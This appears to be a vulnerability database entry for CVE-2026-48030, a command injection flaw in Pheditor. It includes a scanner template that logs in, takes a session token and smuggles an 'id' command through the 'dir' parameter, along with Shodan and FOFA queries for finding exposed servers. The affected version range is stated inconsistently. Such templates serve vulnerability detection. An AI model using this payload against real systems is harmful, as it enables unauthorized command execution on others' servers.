CVE-2026-48030: Pheditor 2.0.1-2.0.3 - OS Command Injection

2026-08-16 Pheditor PoC Public

Description

Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.

PoC

id: CVE-2026-48030

info:
  name: Pheditor 2.0.1-2.0.3 - OS Command Injection
  author: juoum00000
  severity: critical
  description: |
    Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
  impact: |
    Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.0.4 or later.
  reference:
    - https://github.com/advisories/GHSA-jvc5-6g7q-c843
    - https://github.com/muslimbek-0x/CVE-2026-48030
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-48030
    epss-score: 0.05849
    epss-percentile: 0.928
    cwe-id: CWE-78
  metadata:
    max-request: 4
    verified: true
    vendor: pheditor
    product: pheditor
    fofa-query: body="pheditor_password"
    shodan-query: http.html:pheditor
  tags: cve,cve2026,rce,pheditor,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pheditor_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /pheditor.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "token")'
          - '!contains(body, "pheditor_password")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        regex:
          - 'token = "([0-9a-f]{64})"'

  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "uid=")'
        condition: and
# digest: 4a0a004730450221008ad7de2606b1e5f4afebbb692e75a3db4aab58009b261b2f90789e9ae52b6fd602202c291bf45392ef3924776ebfa13582377d19c06d03720027d62c2c32a3ace5fe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities